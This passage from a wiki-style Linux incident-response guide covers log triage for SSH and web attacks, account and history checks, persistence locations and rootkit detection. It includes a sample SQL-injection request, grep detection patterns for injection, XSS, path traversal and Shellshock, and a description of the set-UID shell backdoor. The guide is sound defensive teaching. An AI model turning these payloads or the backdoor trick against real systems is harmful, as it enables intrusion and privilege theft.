&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
sudo umount /mnt/data&lt;br /&gt;
sudo vgchange -a n VOLUME_GROUP_NAME&lt;br /&gt;
sudo losetup -d /dev/loop0&lt;br /&gt;
sudo umount /mnt/img             # the ewfmount&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Traps when reading a mounted image:&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
* Owner names shown by &amp;lt;code&amp;gt;ls -l&amp;lt;/code&amp;gt; come from &#039;&#039;&#039;your workstation&#039;s&#039;&#039;&#039; &amp;lt;code&amp;gt;/etc/passwd&amp;lt;/code&amp;gt;, not the image&#039;s, so UID 1001 might display as the wrong person. Use &amp;lt;code&amp;gt;ls -ln&amp;lt;/code&amp;gt; (numbers) or look up the IDs in the image&#039;s own &amp;lt;code&amp;gt;/mnt/data/etc/passwd&amp;lt;/code&amp;gt;.&lt;br /&gt;
* Absolute symbolic links inside the image point at your own system&#039;s files, not the image&#039;s. Check with &amp;lt;code&amp;gt;readlink&amp;lt;/code&amp;gt; instead of simply blindly trusting what a link shows you.&lt;br /&gt;
* Most tools can read a copy of a log directly: &amp;lt;code&amp;gt;last -aiF -f /mnt/data/var/log/wtmp&amp;lt;/code&amp;gt;, or &amp;lt;code&amp;gt;journalctl -D /mnt/data/var/log/journal&amp;lt;/code&amp;gt; (if the system kept a persistent journal).&lt;br /&gt;
&lt;br /&gt;
== Step 2: Find the way in ==&lt;br /&gt;
&lt;br /&gt;
=== Remote login (SSH) ===&lt;br /&gt;
&lt;br /&gt;
Password guessing against SSH is constant background noise on any internet-facing host. The question is not &amp;quot;was I attacked?&amp;quot; (you were, of course) but &amp;quot;did any guess succeed?&amp;quot;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# which addresses failed the most (the address is the 4th field from the end of the line)&lt;br /&gt;
sudo grep &amp;quot;Failed password&amp;quot; /var/log/auth.log | awk &#039;{print $(NF-3)}&#039; | sort | uniq -c | sort -nr | head&lt;br /&gt;
&lt;br /&gt;
# did any of them ever get in?&lt;br /&gt;
sudo grep &amp;quot;Accepted&amp;quot; /var/log/auth.log&lt;br /&gt;
&lt;br /&gt;
# every event involving one address, in order&lt;br /&gt;
sudo grep -E &amp;quot;Failed|Accepted&amp;quot; /var/log/auth.log | grep 198.51.100.7&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Example output (addresses here are from the reserved documentation ranges, not real hosts):&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;text&amp;quot;&amp;gt;&lt;br /&gt;
Sep 10 13:58:01 web sshd[911]: Failed password for root from 198.51.100.7 port 51522 ssh2&lt;br /&gt;
Sep 10 13:58:03 web sshd[911]: Failed password for invalid user admin from 198.51.100.7 port 51530 ssh2&lt;br /&gt;
Sep 10 13:58:09 web sshd[917]: Failed password for root from 198.51.100.7 port 51544 ssh2&lt;br /&gt;
Sep 10 13:59:40 web sshd[930]: Accepted password for deploy from 198.51.100.7 port 51601 ssh2&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
The pattern to worry about is &#039;&#039;&#039;many failures, then a success, from the same address&#039;&#039;&#039;, especially for an account that should never log in from that place. Confirm with the login records:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
last -aiF | head -20               # recent logins with full timestamps and source IPs&lt;br /&gt;
sudo lastb -aiF | head -20         # recent failed logins&lt;br /&gt;
lastlog | grep -v &amp;quot;Never logged in&amp;quot;&lt;br /&gt;
journalctl -u ssh --since &amp;quot;2026-09-10&amp;quot; -g &amp;quot;Accepted&amp;quot;   # the unit is &amp;quot;sshd&amp;quot; on RHEL-family systems&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Be aware that these records are easy to lose: &amp;lt;code&amp;gt;wtmp&amp;lt;/code&amp;gt; is often rotated (truncated) weekly or monthly, &amp;lt;code&amp;gt;btmp&amp;lt;/code&amp;gt; may not be kept at all because failed logins can contain mistyped passwords, and &amp;lt;code&amp;gt;lastlog&amp;lt;/code&amp;gt;&#039;s format varies between systems.&lt;br /&gt;
&lt;br /&gt;
Success by public key leaves a different line (&amp;lt;code&amp;gt;Accepted publickey for ...&amp;lt;/code&amp;gt;). If you see one for a key you do not recognize, go straight to [[#Step 4: Persistence|persistence]] and check &amp;lt;code&amp;gt;authorized_keys&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
=== Web applications ===&lt;br /&gt;
&lt;br /&gt;
Web server access logs record one line per request. In the common &amp;quot;combined&amp;quot; format the fields are: client address, timestamp, request line, status code, response size in bytes, referrer and User-Agent.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;text&amp;quot;&amp;gt;&lt;br /&gt;
198.51.100.9 - - [10/Sep/2026:14:03:01 +0000] &amp;quot;GET /item.php?id=1%27%20UNION%20SELECT%20user,pass%20FROM%20users--%20- HTTP/1.1&amp;quot; 500 1024 &amp;quot;-&amp;quot; &amp;quot;sqlmap/1.7&amp;quot;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Start with an overview, and then zoom in on one address:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
LOG=/var/log/apache2/access.log     # /var/log/nginx/access.log, or /var/log/httpd/access_log&lt;br /&gt;
&lt;br /&gt;
awk &#039;{print $1}&#039; $LOG | sort | uniq -c | sort -nr | head     # busiest clients&lt;br /&gt;
awk &#039;{print $9}&#039; $LOG | sort | uniq -c | sort -nr            # status code counts&lt;br /&gt;
grep &#039;^198.51.100.9 &#039; $LOG                                   # everything one client did&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Attackers usually send their payload URL-encoded (&amp;lt;code&amp;gt;%27&amp;lt;/code&amp;gt; is &amp;lt;code&amp;gt;&#039;&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;%20&amp;lt;/code&amp;gt; is a space). Decode the lines you are reading:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
grep &#039;^198.51.100.9 &#039; $LOG | python3 -c &#039;import sys,urllib.parse as u; [print(u.unquote(l),end=&amp;quot;&amp;quot;) for l in sys.stdin]&#039;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
(A plain &amp;lt;code&amp;gt;+&amp;lt;/code&amp;gt; in a query string can also mean a space; &amp;lt;code&amp;gt;unquote&amp;lt;/code&amp;gt; leaves it alone so timestamps such as &amp;lt;code&amp;gt;+0000&amp;lt;/code&amp;gt; stay readable.)&lt;br /&gt;
&lt;br /&gt;
==== What common web attacks look like in the log ====&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
! Attack !! What to look for in the request !! Notes&lt;br /&gt;
|-&lt;br /&gt;
| SQL injection || &amp;lt;code&amp;gt;&#039;&amp;lt;/code&amp;gt; or &amp;lt;code&amp;gt;%27&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;UNION SELECT&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;OR 1=1&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;--&amp;lt;/code&amp;gt;, or an automated-tool User-Agent such as &amp;lt;code&amp;gt;sqlmap&amp;lt;/code&amp;gt; || A burst of &amp;lt;code&amp;gt;500&amp;lt;/code&amp;gt; errors from one client while it probes is typical. A later run of &amp;lt;code&amp;gt;200&amp;lt;/code&amp;gt; responses with unusually large sizes can mean data came back.&lt;br /&gt;
|-&lt;br /&gt;
| Cross-site scripting (XSS) || &amp;lt;code&amp;gt;&amp;amp;lt;script&amp;amp;gt;&amp;lt;/code&amp;gt; or &amp;lt;code&amp;gt;%3Cscript&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;onerror=&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;javascript:&amp;lt;/code&amp;gt; || Reflected XSS shows in the URL. Stored XSS is usually submitted in a POST body, which is not logged (see below).&lt;br /&gt;
|-&lt;br /&gt;
| Path traversal / file inclusion || &amp;lt;code&amp;gt;../&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;..%2f&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;%2e%2e&amp;lt;/code&amp;gt;, or a path like &amp;lt;code&amp;gt;/etc/passwd&amp;lt;/code&amp;gt; in a parameter || A &amp;lt;code&amp;gt;200&amp;lt;/code&amp;gt; with a plausible response size means the file may have been returned.&lt;br /&gt;
|-&lt;br /&gt;
| Command injection || Shell metacharacters (&amp;lt;code&amp;gt;;&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;%3B&amp;lt;/code&amp;gt;, backticks, &amp;lt;code&amp;gt;$(&amp;lt;/code&amp;gt;) followed by commands like &amp;lt;code&amp;gt;wget&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;curl&amp;lt;/code&amp;gt; or &amp;lt;code&amp;gt;/bin/sh&amp;lt;/code&amp;gt; || Confirm with the process tree: did the web server user spawn anything?&lt;br /&gt;
|-&lt;br /&gt;
| Shellshock (CVE-2014-6271) || &amp;lt;code&amp;gt;() {&amp;lt;/code&amp;gt; at the start of a header value, usually User-Agent, against a &amp;lt;code&amp;gt;/cgi-bin/&amp;lt;/code&amp;gt; script || Old and long patched, but a good example: the attack rides in a header, not the URL.&lt;br /&gt;
|-&lt;br /&gt;
| Web shell upload || A POST to an upload form, then GET requests to a brand-new &amp;lt;code&amp;gt;.php&amp;lt;/code&amp;gt; file in the upload directory || Look for files the application should not have created.&lt;br /&gt;
|-&lt;br /&gt;
| Scanning and reconnaissance || Many &amp;lt;code&amp;gt;404&amp;lt;/code&amp;gt;s, requests for &amp;lt;code&amp;gt;/.env&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;/wp-login.php&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;/phpmyadmin&amp;lt;/code&amp;gt;, or scanner User-Agents || Common and usually harmless on its own; it tells you who was looking, not who got in.&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# starting-point searches (expect some false positives; refine them as much as you can before you start trustung their results)&lt;br /&gt;
grep -iE &amp;quot;union.{1,10}select|sqlmap|%27&amp;quot; $LOG            # SQL injection&lt;br /&gt;
grep -iE &amp;quot;&amp;lt;script|%3Cscript|onerror=&amp;quot; $LOG               # XSS&lt;br /&gt;
grep -E &amp;quot;\.\./|%2e%2e|/etc/passwd&amp;quot; $LOG                   # path traversal&lt;br /&gt;
grep -E &#039;\(\) *\{&#039; $LOG                                   # Shellshock-style header&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Important limits of access logs.&#039;&#039;&#039; The server does not log &#039;&#039;&#039;POST bodies&#039;&#039;&#039; or, by default, most headers other than User-Agent and Referer. An injection sent by POST leaves only a bare &amp;lt;code&amp;gt;POST /login&amp;lt;/code&amp;gt; line. To see those attacks you need application logs, database query logs, or a web application firewall (for example ModSecurity) that records rejected requests. Also, a &amp;lt;code&amp;gt;200&amp;lt;/code&amp;gt; status only means the request was served, not that the attack worked, and a &amp;lt;code&amp;gt;500&amp;lt;/code&amp;gt; does not mean it failed.&lt;br /&gt;
&lt;br /&gt;
==== From a request to a compromise ====&lt;br /&gt;
&lt;br /&gt;
A logged attack request proves that someone &#039;&#039;tried&#039;&#039; to attack. To decide whether it &#039;&#039;worked&#039;&#039;, follow it into the rest of the system:&lt;br /&gt;
&lt;br /&gt;
* Did a process appear in the tree, owned by the web server user (&amp;lt;code&amp;gt;www-data&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;apache&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;nginx&amp;lt;/code&amp;gt;), just after the request timestamp?&lt;br /&gt;
* Is that process holding a network connection to an address that is not one of your users or dependencies?&lt;br /&gt;
* Are there new or modified files in the web root, &amp;lt;code&amp;gt;/tmp&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;/var/tmp&amp;lt;/code&amp;gt; or &amp;lt;code&amp;gt;/dev/shm&amp;lt;/code&amp;gt; from about the same time?&lt;br /&gt;
* Did the same client address go on to do anything else (a second request type, a login)?&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# files in the web root changed in the last 2 days&lt;br /&gt;
sudo find /var/www -type f -mtime -2 -ls&lt;br /&gt;
&lt;br /&gt;
# PHP files that call functions commonly used by web shells (often noisy)&lt;br /&gt;
sudo grep -RIlE &amp;quot;(eval|assert|system|passthru|shell_exec|proc_open)[[:space:]]*\(&amp;quot; /var/www --include=*.php&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Step 3: What did they do? ==&lt;br /&gt;
&lt;br /&gt;
=== Privilege escalation and account activity ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
sudo grep -E &amp;quot;sudo:|su\[|su:&amp;quot; /var/log/auth.log | grep -E &amp;quot;COMMAND=|session opened&amp;quot;   # who ran what as root&lt;br /&gt;
sudo grep -E &amp;quot;useradd|usermod|groupadd|passwd\[&amp;quot; /var/log/auth.log                     # account changes&lt;br /&gt;
awk -F: &#039;$3==0 {print $1}&#039; /etc/passwd            # accounts with UID 0 should be only &amp;quot;root&amp;quot;&lt;br /&gt;
sudo awk -F: &#039;$2==&amp;quot;&amp;quot; {print $1}&#039; /etc/shadow      # accounts with an empty password&lt;br /&gt;
grep -vE &#039;(nologin|false)$&#039; /etc/passwd           # accounts that can log in interactively&lt;br /&gt;
ls -l /etc/sudoers.d/; sudo grep -rvE &#039;^\s*(#|$)&#039; /etc/sudoers /etc/sudoers.d/&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
A second UID-0 account, or a regular user suddenly present in &amp;lt;code&amp;gt;sudoers&amp;lt;/code&amp;gt;, is a strong indicator. Attackers who want to blend in often reuse existing accounts rather than create obvious new ones, so also check that service accounts (such as &amp;lt;code&amp;gt;www-data&amp;lt;/code&amp;gt; or &amp;lt;code&amp;gt;mysql&amp;lt;/code&amp;gt;) still have a non-login shell and no usable password hash in &amp;lt;code&amp;gt;/etc/shadow&amp;lt;/code&amp;gt;, and that nobody has been quietly added to a privileged group in &amp;lt;code&amp;gt;/etc/group&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
=== Command history ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
sudo sh -c &#039;ls -l /root/.bash_history /home/*/.bash_history&#039;   # empty? a symlink to /dev/null? recently truncated?&lt;br /&gt;
sudo sh -c &#039;cat /root/.bash_history /home/*/.bash_history&#039;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
What to keep in mind about &amp;lt;code&amp;gt;.bash_history&amp;lt;/code&amp;gt;:&lt;br /&gt;
&lt;br /&gt;
* Bash writes history when a shell exits, so a session that is still open, or that was killed, may not be recorded yet. On a live system the missing commands are only in memory (see the &amp;lt;code&amp;gt;bash&amp;lt;/code&amp;gt; plugin in [[#Going deeper: memory analysis with Volatility 3|the Volatility section]]).&lt;br /&gt;
* It has &#039;&#039;&#039;no timestamps&#039;&#039;&#039; by default (unless &amp;lt;code&amp;gt;HISTTIMEFORMAT&amp;lt;/code&amp;gt; was set). To date a command, match it with other evidence:a log line, a file&#039;s timestamp, or a process start time. For example, a &amp;lt;code&amp;gt;useradd&amp;lt;/code&amp;gt; in the history can be tied to the log entry for the new account and the modification time of &amp;lt;code&amp;gt;/etc/passwd&amp;lt;/code&amp;gt;.&lt;br /&gt;
* It is a plain text file. Attackers can edit or delete it, clear it (&amp;lt;code&amp;gt;history -c&amp;lt;/code&amp;gt;), unset &amp;lt;code&amp;gt;HISTFILE&amp;lt;/code&amp;gt;, or link it to &amp;lt;code&amp;gt;/dev/null&amp;lt;/code&amp;gt;. Older copies sometimes survive in the disk&#039;s unallocated space, so searching a disk image for typical command strings can recover deleted history.&lt;br /&gt;
* An &#039;&#039;empty or missing&#039;&#039; history on an account that is otherwise active is itself worth noting.&lt;br /&gt;
&lt;br /&gt;
=== Other traces users leave behind ===&lt;br /&gt;
&lt;br /&gt;
Interactive use of a Linux system leaves small traces in the user&#039;s home directory. Individually minor, they often fill in the story:&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
! File (in the user&#039;s home directory) !! What it can show&lt;br /&gt;
|-&lt;br /&gt;
| &amp;lt;code&amp;gt;.ssh/authorized_keys&amp;lt;/code&amp;gt; || Keys that can log in &#039;&#039;to&#039;&#039; this account. Any key you do not recognize is a possible back door.&lt;br /&gt;
|-&lt;br /&gt;
| &amp;lt;code&amp;gt;.ssh/known_hosts&amp;lt;/code&amp;gt; || Machines this user connected &#039;&#039;out to&#039;&#039; over SSH. It shows an SSH connection was made, not that the login succeeded. Entries can be hashed, hiding the addresses.&lt;br /&gt;
|-&lt;br /&gt;
| &amp;lt;code&amp;gt;.ssh/config&amp;lt;/code&amp;gt; || Shortcuts, user names and jump hosts the user set up, which can reveal other systems they reach.&lt;br /&gt;
|-&lt;br /&gt;
| &amp;lt;code&amp;gt;.lesshst&amp;lt;/code&amp;gt; || Search terms typed into the &amp;lt;code&amp;gt;less&amp;lt;/code&amp;gt; pager, and commands run from inside it.&lt;br /&gt;
|-&lt;br /&gt;
| &amp;lt;code&amp;gt;.viminfo&amp;lt;/code&amp;gt; || Files recently edited in &amp;lt;code&amp;gt;vim&amp;lt;/code&amp;gt; (with the position in each), plus its search and command history.&lt;br /&gt;
|-&lt;br /&gt;
| &amp;lt;code&amp;gt;.local/share/recently-used.xbel&amp;lt;/code&amp;gt; || Files opened through the desktop file manager, with timestamps (only on systems with a desktop).&lt;br /&gt;
|-&lt;br /&gt;
| &amp;lt;code&amp;gt;.local/share/Trash/&amp;lt;/code&amp;gt; || Files deleted through the desktop; the &amp;lt;code&amp;gt;info/&amp;lt;/code&amp;gt; folder records where each came from.&lt;br /&gt;
|-&lt;br /&gt;
| Browser profiles (Firefox, Chromium) || Browsing, downloads and saved sessions on desktop systems.&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
=== The audit framework ===&lt;br /&gt;
&lt;br /&gt;
If &amp;lt;code&amp;gt;auditd&amp;lt;/code&amp;gt; is installed and configured, it is the best source for &amp;quot;who ran what.&amp;quot; For example, with a rule that watches account files:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# in /etc/audit/rules.d/identity.rules&lt;br /&gt;
-w /etc/passwd -p wa -k identity&lt;br /&gt;
-w /etc/shadow -p wa -k identity&lt;br /&gt;
&lt;br /&gt;
# later, when investigating&lt;br /&gt;
sudo ausearch -k identity -i         # events that matched the rule, human-readable&lt;br /&gt;
sudo aureport -au                    # authentication summary&lt;br /&gt;
&lt;br /&gt;
# the same tools can read logs copied off a machine or mounted from an image&lt;br /&gt;
sudo ausearch --if /mnt/data/var/log/audit -i -c useradd&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
If keystroke (TTY) auditing was enabled, &amp;lt;code&amp;gt;aureport --tty&amp;lt;/code&amp;gt; can show what was typed. Auditing has to be set up &#039;&#039;before&#039;&#039; the incident; it cannot reconstruct events that were never recorded.&lt;br /&gt;
&lt;br /&gt;
== Step 4: Persistence ==&lt;br /&gt;
&lt;br /&gt;
Attackers who got in once want to be able to get back in. Some do not bother (opportunistic cryptocurrency miners are sometimes dropped with no persistence at all), but many do. Check every place a program can be made to start again on its own:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;# scheduled tasks&lt;br /&gt;
cat /etc/crontab; ls -la /etc/cron.d /etc/cron.hourly /etc/cron.daily&lt;br /&gt;
sudo ls -la /var/spool/cron/crontabs/          # /var/spool/cron/ on RHEL family&lt;br /&gt;
sudo ls -la /var/spool/cron/atjobs/ 2&amp;gt;/dev/null   # one-time &amp;quot;at&amp;quot; jobs (Debian/Ubuntu)&lt;br /&gt;
systemctl list-timers --all&lt;br /&gt;
&lt;br /&gt;
# services and units&lt;br /&gt;
systemctl list-unit-files --state=enabled&lt;br /&gt;
sudo find /etc/systemd /usr/lib/systemd -type f -newermt &amp;quot;2026-09-01&amp;quot;&lt;br /&gt;
ls -la ~/.config/systemd/user 2&amp;gt;/dev/null&lt;br /&gt;
&lt;br /&gt;
# SSH keys (any key listed here can log in as that user with no password)&lt;br /&gt;
sudo find / -xdev -name authorized_keys -exec ls -l {} \;&lt;br /&gt;
sudo sh -c &#039;cat /root/.ssh/authorized_keys /home/*/.ssh/authorized_keys&#039; 2&amp;gt;/dev/null&lt;br /&gt;
&lt;br /&gt;
# shell start-up files that run at every login&lt;br /&gt;
ls -la /etc/profile.d/ ~/.bashrc ~/.profile /root/.bashrc&lt;br /&gt;
&lt;br /&gt;
# programs injected into every process (normally this file is absent or empty)&lt;br /&gt;
cat /etc/ld.so.preload 2&amp;gt;/dev/null&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Older systems use init scripts under &amp;lt;code&amp;gt;/etc/init*&amp;lt;/code&amp;gt; instead of (or as well as) systemd. And remember that an attacker who wants to be less obvious may leave the cron entry or service unit alone and instead modify a &#039;&#039;&#039;script that a legitimate task already runs&#039;&#039;&#039;. Look at what your scheduled tasks and services actually execute, not only at their configuration.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Back doors beyond start-up entries:&#039;&#039;&#039; a web shell in the web root; a replacement &amp;lt;code&amp;gt;sshd&amp;lt;/code&amp;gt; with a built-in password; an extra UID 0 account; a service account given a password; an added &amp;lt;code&amp;gt;authorized_keys&amp;lt;/code&amp;gt; line; a broadened &amp;lt;code&amp;gt;sudoers&amp;lt;/code&amp;gt; entry; and the set-UID trick below.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Set-UID/set-GID programs.&#039;&#039;&#039; A program with the set-UID bit runs with its &#039;&#039;owner&#039;s&#039;&#039; privileges rather than the user&#039;s (this is how &amp;lt;code&amp;gt;passwd&amp;lt;/code&amp;gt; can update &amp;lt;code&amp;gt;/etc/shadow&amp;lt;/code&amp;gt;). An attacker with root can copy a shell, turn on the set-UID bit and leave it somewhere quiet; anyone who can run it (with &amp;lt;code&amp;gt;-p&amp;lt;/code&amp;gt;, so it does not drop its privileges) is root again.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# set-UID / set-GID programs anywhere outside /usr (there should be very few)&lt;br /&gt;
sudo find / \( -path /proc -o -path /sys \) -prune -o -type f \( -perm -4000 -o -perm -2000 \) ! -path &#039;/usr/*&#039; -ls 2&amp;gt;/dev/null&lt;br /&gt;
&lt;br /&gt;
# the full list of set-UID programs&lt;br /&gt;
sudo find / -xdev -perm -4000 -type f 2&amp;gt;/dev/null&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Compare the full list against a clean machine of the same OS, the same baseline-and-&amp;lt;code&amp;gt;diff&amp;lt;/code&amp;gt; technique used on [[Intermediate Service Auditing]]. Also revisit [[#Where attackers stage files|where attackers stage files]]: names that imitate system files but sit in the wrong place, executables in &amp;lt;code&amp;gt;/tmp&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;/var/tmp&amp;lt;/code&amp;gt; or &amp;lt;code&amp;gt;/dev/shm&amp;lt;/code&amp;gt;, and dot-prefixed directories under &amp;lt;code&amp;gt;/usr&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;/var&amp;lt;/code&amp;gt; or &amp;lt;code&amp;gt;/dev&amp;lt;/code&amp;gt; are all worth a closer look.&lt;br /&gt;
&lt;br /&gt;
=== A post-exploitation checklist ===&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
! Check !! How&lt;br /&gt;
|-&lt;br /&gt;
| New or unexpected SSH keys || Read every &amp;lt;code&amp;gt;authorized_keys&amp;lt;/code&amp;gt;. If you find one, search your other machines for the same key.&lt;br /&gt;
|-&lt;br /&gt;
| Unexpected group members || Compare &amp;lt;code&amp;gt;/etc/group&amp;lt;/code&amp;gt; against what you expect, especially groups named in &amp;lt;code&amp;gt;sudoers&amp;lt;/code&amp;gt;.&lt;br /&gt;
|-&lt;br /&gt;
| Unlocked service accounts || Service accounts should have &amp;lt;code&amp;gt;nologin&amp;lt;/code&amp;gt; (or &amp;lt;code&amp;gt;false&amp;lt;/code&amp;gt;) as their shell and no valid password hash in &amp;lt;code&amp;gt;/etc/shadow&amp;lt;/code&amp;gt;.&lt;br /&gt;
|-&lt;br /&gt;
| Extra UID 0 accounts || &amp;lt;code&amp;gt;awk -F: &#039;$3==0&#039; /etc/passwd&amp;lt;/code&amp;gt;&lt;br /&gt;
|-&lt;br /&gt;
| Edited sudo rules || Read &amp;lt;code&amp;gt;/etc/sudoers&amp;lt;/code&amp;gt; and &amp;lt;code&amp;gt;/etc/sudoers.d/&amp;lt;/code&amp;gt; directly.&lt;br /&gt;
|-&lt;br /&gt;
| Unauthorized set-UID bits || The &amp;lt;code&amp;gt;find&amp;lt;/code&amp;gt; commands above.&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
== Step 5: Rootkits and tampering ==&lt;br /&gt;
&lt;br /&gt;
A &#039;&#039;&#039;rootkit&#039;&#039;&#039; is malware built to hide itself and the attacker&#039;s other activity. Two kinds are common on Linux:&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;User-space (library preload) rootkits&#039;&#039;&#039; install a malicious shared library and make every program load it (through &amp;lt;code&amp;gt;/etc/ld.so.preload&amp;lt;/code&amp;gt; or the &amp;lt;code&amp;gt;LD_PRELOAD&amp;lt;/code&amp;gt; variable), so that &amp;lt;code&amp;gt;ls&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;ps&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;ss&amp;lt;/code&amp;gt; and friends quietly leave out the attacker&#039;s files, processes and connections. Older rootkits simply replaced those programs.&lt;br /&gt;
* &#039;&#039;&#039;Kernel-module (LKM) rootkits&#039;&#039;&#039; load a malicious kernel module that intercepts system calls (for example the ones that list directories or send signals) and can hide from the operating system itself. Older families such as t0rn hid their files in look-alike, dot-prefixed directories (for example under &amp;lt;code&amp;gt;/usr/src&amp;lt;/code&amp;gt;) and included a helper that scrubbed matching lines from log files, but the ideas are the same today.&lt;br /&gt;
&lt;br /&gt;
=== Signs something is being hidden ===&lt;br /&gt;
&lt;br /&gt;
* Basic tools misbehave, disagree with each other, or stop working (&amp;lt;code&amp;gt;ls&amp;lt;/code&amp;gt; or &amp;lt;code&amp;gt;ps&amp;lt;/code&amp;gt; failing on an otherwise healthy system).&lt;br /&gt;
* A listening port shows in a port scan from another machine but not in &amp;lt;code&amp;gt;ss&amp;lt;/code&amp;gt; on the host.&lt;br /&gt;
* Disk usage that does not add up, or CPU usage with no process to explain it.&lt;br /&gt;
* Logs with unexplained gaps, zero-length files (&amp;lt;code&amp;gt;/var/log/wtmp&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;btmp&amp;lt;/code&amp;gt;) or timestamps that jump backwards.&lt;br /&gt;
* A &amp;quot;tainted&amp;quot; kernel: &amp;lt;code&amp;gt;cat /proc/sys/kernel/tainted&amp;lt;/code&amp;gt; is non-zero. Legitimate causes exist (proprietary or out-of-tree drivers), so treat it as a reason to ask &amp;quot;which module?&amp;quot;,  it is not necessarily a verdict.&lt;br /&gt;
&lt;br /&gt;
=== Detection tools ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
sudo apt install rkhunter chkrootkit       # or dnf install on RHEL-family (EPEL)&lt;br /&gt;
sudo rkhunter --check --sk --rwo           # run all checks; skip keypress prompts; report warnings only&lt;br /&gt;
sudo chkrootkit&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;code&amp;gt;rkhunter&amp;lt;/code&amp;gt; and &amp;lt;code&amp;gt;chkrootkit&amp;lt;/code&amp;gt; compare the system against known signatures and known-bad file locations and look for suspicious changes. Findings are logged (for rkhunter, in &amp;lt;code&amp;gt;/var/log/rkhunter.log&amp;lt;/code&amp;gt;). They are a quick extra check, however they are not the main method. Treat their output as leads from which to begin searches:&lt;br /&gt;
